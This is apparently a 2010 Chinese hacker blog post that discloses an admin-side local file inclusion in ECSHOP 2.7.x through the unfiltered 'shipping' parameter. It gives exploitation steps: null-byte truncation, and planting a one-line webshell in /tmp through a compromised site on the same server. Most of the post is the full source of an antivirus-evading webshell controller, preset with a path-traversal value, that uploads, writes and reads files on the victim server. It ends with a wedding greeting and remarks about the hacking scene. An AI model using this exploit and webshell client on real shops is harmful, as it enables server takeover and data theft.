贺friddy新婚,发布ECSHOP 2.7.X 后台鸡肋本地包含漏洞

2010-05-16 22:22:05 0 223
今天5.16日,大好日子,Friddy牛新婚大喜,发个鸡肋0day庆祝下。晚上Sec@NJ的兄弟们再聚首参加friddy同学的婚礼,flashsky与alert7等前辈悉数到场,比较开心,喝了不少酒,希望大家以后多多聚会、交流:-(

好了,这个小漏洞很鸡肋,去年除夕回家的火车上随便看代码看到的,因为是后台本地包含,一般用处不大,因为后台已经能够拿shell了,但对于极少数全站封死写权限的站点,还是小有点用处的~

很简单的本地包含,稍微看下源码:
...

elseif ($_REQUEST['act'] == 'second')
{
    admin_priv('shop_config');

    $shop_name = empty($_POST['shop_name']) ? '' : $_POST['shop_name'] ;
    $shop_title = empty($_POST['shop_title']) ? '' : $_POST['shop_title'] ;
    $shop_country = empty($_POST['shop_country']) ? '' : intval($_POST['shop_country']);
    $shop_province = empty($_POST['shop_province']) ? '' : intval($_POST['shop_province']);
    $shop_city = empty($_POST['shop_city']) ? '' : intval($_POST['shop_city']);
    $shop_address = empty($_POST['shop_address']) ? '' : $_POST['shop_address'] ;
    $shipping = empty($_POST['shipping']) ? '' : $_POST['shipping'];//无过滤,from [url]www.oldjun.com[/url]

    $payment = empty($_POST['payment']) ? '' : $_POST['payment'];

...

    //设置配送方式
    if(!empty($shipping))
    {
        $set_modules = true;
        include_once(ROOT_PATH . 'includes/modules/shipping/' . $shipping . '.php');//触发包含,from [url]www.oldjun.com[/url]
        $sql = "SELECT shipping_id FROM " .$ecs->table('shipping'). " WHERE shipping_code = '$shipping'";
        $shipping_id = $db->GetOne($sql);

...
利用方法:
1.GPC为off的条件下截断:
post提交shipping,包含任意可以上传或者写入的文件...

2.其他条件下旁注包含(linux):
a.旁注拿下同服务器一站;
b.写入1.php一句话shell入tmp目录;
c.然后包含之,简单的一句话木马利用源码(一句话免杀版客户端修改版本):
<HTML>EVAL客户端<HEAD>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<style>
<!--
td                {font-size:8pt; color: #666666;font-family:Verdana}
INPUT                {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}
textarea        {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}  
select                {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff}  
BODY                {font-size:9pt; color: #666666;font-family:Verdana; SCROLLBAR-FACE-COLOR: #ffffff; background color:#eeeeee;cursor:SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #aaaaaa; SCROLLBAR-3DLIGHT-COLOR: #aaaaaa; SCROLLBAR-ARROW-COLOR: #dddddd; SCROLLBAR-TRACK-COLOR: #ffffff; SCROLLBAR-DARKSHADOW-COLOR: #ffffff }
a:link                {text-decoration:none; color:#336699}
a:visited        {text-decoration:none; color:#336699}
a:active        {text-decoration:none; color:#336699}
a:hover        {COLOR: #b4c8d8; }
.tb                {BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid;background-color:#cccccc}
.tb0                {BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid;background-color:#fcfcfc}
.tb1                {background-color:#ffffff} </style>
-->
</STYLE>
</HEAD>
<BODY style="FONT-SIZE: 9pt" bgcolor="#cccccc">
<CENTER style="cursor:hand;">
<font color="#000080">
EVAL客户端</font><FONT color=#ff3300>内部版</font>
</CENTER>
<hr size="1" color="#000080">
<FORM ENCTYPE="multipart/form-data" name=frm method=post target=qq2>
<TABLE style="FONT-SIZE: 9pt">
<TD width=750 height=10>后门地址: <INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=80 value=http://127.0.0.1/oldjun/admin/index.php?act=second name=actions>
后门密码: <INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=20 value=cmd name=para>
<br>
包含相对路径:<INPUT                                                         
style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid"
size=105 value=../../../../../../../../tmp/1 name=shipping></TD>
</TABLE>

<input type="hidden" name="evalcmd">
<TABLE width=750 >
<TD bgcolor=#ffffff><TABLE style="FONT-SIZE: 9pt" >
<tr width=200 height=10><select onchange="showDiv(this.value);">
<option value="digest" >----基本功能列表----</option>
<option value="1" >本程序目录</option>
<option value="2" >PHPINFO()</option>
<option value="3" >上传文件</option>
<option value="4" >创建文件</option>
<option value="5" >读取目录</option>
<option value="6" >读取文件</option>
</select></tr>
<tr height=260><TD id="yunxing"><FONT color=#ff3300>EVAL服务端代码内部修改版</font><TD></tr>
</TABLE>

</td>
<td><TABLE style="FONT-SIZE: 9pt">
<IFRAME border=1 height=340 width=580 name=qq2 marginwidth=0 marginheight=0 vspace=0 src="about:blank" frameborder=no scrolling=auto></IFRAME>
</TABLE>

</td>
</table>

</form>

<hr size="1" color="#000000">
<CENTER>
<center>
<FONT color=#ff3300>内部精简免杀版</font></center>
</BODY></HTML>
<script language="javascript">function showDiv(selectvalue){

switch(selectvalue)
{
case "1":
yunxing.innerHTML="本程序目录<br><INPUT   onclick='Javascipt:frm.evalcmd.name=frm.para.value;frm.evalcmd.value=\"echo dirname(__FILE__);\";frm.action=document.all.actions.value;frm.submit();frm.evalcmd.name=evalcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "2":
yunxing.innerHTML="PHPINFO()<br>"
yunxing.innerHTML+="<INPUT   onclick='Javascipt:frm.evalcmd.name=frm.para.value;frm.evalcmd.value=\"phpinfo();\";frm.action=document.all.actions.value;frm.submit();frm.evalcmd.name=evalcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "3":
yunxing.innerHTML="文件路径(不填为当前目录)<br><input type=text name='uploaddir' value='' size=24><input NAME='newfile' TYPE='file' size=13><br><INPUT   onclick='Javascipt:frm.evalcmd.name=frm.para.value;upfile();frm.action=document.all.actions.value;frm.submit();frm.evalcmd.name=evalcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "4":
yunxing.innerHTML="文件名:<INPUT   size=14 name=\"filen\"><br>文件内容:<BR><textarea rows=\"6\" name=\"filec\" cols=\"20\"   ></textarea><br><INPUT   onclick='Javascipt:frm.evalcmd.name=frm.para.value;createfile();frm.action=document.all.actions.value;frm.submit();frm.evalcmd.name=evalcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "5":
yunxing.innerHTML="目录名:<br><INPUT   size=24 name=\"duqu\"><br><INPUT   onclick='Javascipt:frm.evalcmd.name=frm.para.value;readdir();frm.action=document.all.actions.value;frm.submit();frm.evalcmd.name=evalcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
case "6":
yunxing.innerHTML="文件名:<br><INPUT   size=24 name=\"duqu\"><br><INPUT   onclick='Javascipt:frm.evalcmd.name=frm.para.value;readfile();frm.action=document.all.actions.value;frm.submit();frm.evalcmd.name=evalcmd' type=button value='提 交' name=Send><br><br><br><br><br><br><br><br><br><br>"
break;
}
}

function readfile(){
frm.evalcmd.value="$filename="
frm.evalcmd.value+=duqu(frm.duqu.value)
frm.evalcmd.value+=";\n"
frm.evalcmd.value+="$s=chr(60).chr(112).chr(114).chr(101).chr(62);\n"
frm.evalcmd.value+="$e=chr(60).chr(47).chr(112).chr(114).chr(101).chr(62);\n"
frm.evalcmd.value+="$fp=@fopen($filename,r);\n"
frm.evalcmd.value+="$contents=@fread($fp, filesize($filename));\n"
frm.evalcmd.value+="@fclose($fp);\n"
frm.evalcmd.value+="$contents=htmlspecialchars($contents);\n"
frm.evalcmd.value+="echo $s.$contents.$e;\n"
}
function readdir(){
frm.evalcmd.value="$dir="
frm.evalcmd.value+=duqu(frm.duqu.value)
frm.evalcmd.value+=";\n"
frm.evalcmd.value+="$f = chr(60).chr(98).chr(114).chr(62);"
frm.evalcmd.value+="$dir=@dir($dir);"
frm.evalcmd.value+="if($dir) "
frm.evalcmd.value+="{"
frm.evalcmd.value+="  echo path_______.$dir->path.$f;"
frm.evalcmd.value+="  while($entry=$dir->read())"
frm.evalcmd.value+="        {"
frm.evalcmd.value+=" echo ____.$entry.$f; "
frm.evalcmd.value+="  }"
frm.evalcmd.value+="  $dir->close();"
frm.evalcmd.value+="}"
frm.evalcmd.value+="else"
frm.evalcmd.value+="{echo 0;}"
}

function createfile(){
frm.evalcmd.value="$filen="
frm.evalcmd.value+=duqu(frm.filen.value)
frm.evalcmd.value+=";\n"
frm.evalcmd.value+="$filec="
frm.evalcmd.value+=duqu(frm.filec.value)
frm.evalcmd.value+=";\n"
frm.evalcmd.value+="$a=chr(119);\n"
frm.evalcmd.value+="$fp=@fopen($filen,$a);\n"
frm.evalcmd.value+="$msg=@fwrite($fp,$filec);\n"
frm.evalcmd.value+="if($msg) echo chr(79).chr(75).chr(33);\n"
frm.evalcmd.value+="@fclose($fp);\n"
}

function upfile(){
frm.evalcmd.value="$uploaddir="
frm.evalcmd.value+=duqu(frm.uploaddir.value)
frm.evalcmd.value+=";\n"
frm.evalcmd.value="if (strlen($uploaddir)<1){\n"
frm.evalcmd.value+="$updir=$_FILES[newfile][name];}\n"
frm.evalcmd.value+="else{\n"
frm.evalcmd.value+="$updir=$uploaddir.chr(47).$_FILES[newfile][name];}\n"
frm.evalcmd.value+="if(@copy($_FILES[newfile][tmp_name],$updir)) echo upfile.chr(58).$updir.chr(32).chr(32).OK.chr(33);"
}

</script>
<script >function duqu(strcode){
var duqu="";
for(i=1;i<strcode.length;i++){
if(strcode.charCodeAt(i-1)<256){
duqu+="chr("+strcode.charCodeAt(i-1)+").";
}
else
duqu+=strcode.charAt(i-1)+".";
}
if(strcode.charCodeAt(i-1)<256){
duqu+="chr("+strcode.charCodeAt(strcode.length-1)+")";
}
else
duqu+=strcode.charAt(strcode.length-1);
return duqu
}
</script>
最近很多人喜欢争个首发,然后闹矛盾,你争我斗,圈子太浮躁...我菜,默默研究自己的东西,与世无争,希望大家也别来黑我!

很多人看不起t00ls,但我觉得t00ls内部还是很和谐的,也是很强大的,我想说的是:别拿一堆鸡肋0day来bs t00ls,t00ls内部拿的出手的0day不比你的少,但何必比呢,同是做安全何必那么极端~我进入这个圈子时间很长,但无论拿站还是交流,都没参加过什么团队,除了东南网安的一些兄弟以外,没啥熟悉的黑客,但从t00ls认识了很多大牛,作为大牛,不一定要你技术多全面或者多牛,但至少RP够好,值得大家尊重你,t00ls核心群里的兄弟们都很不错~不像现在的某些所谓团队或者非主流黑客...不多说了:-)

最后再次祝福Friddy同学新婚快乐,早生贵子~~~

关于作者

评论0次

要评论?请先  登录  或  注册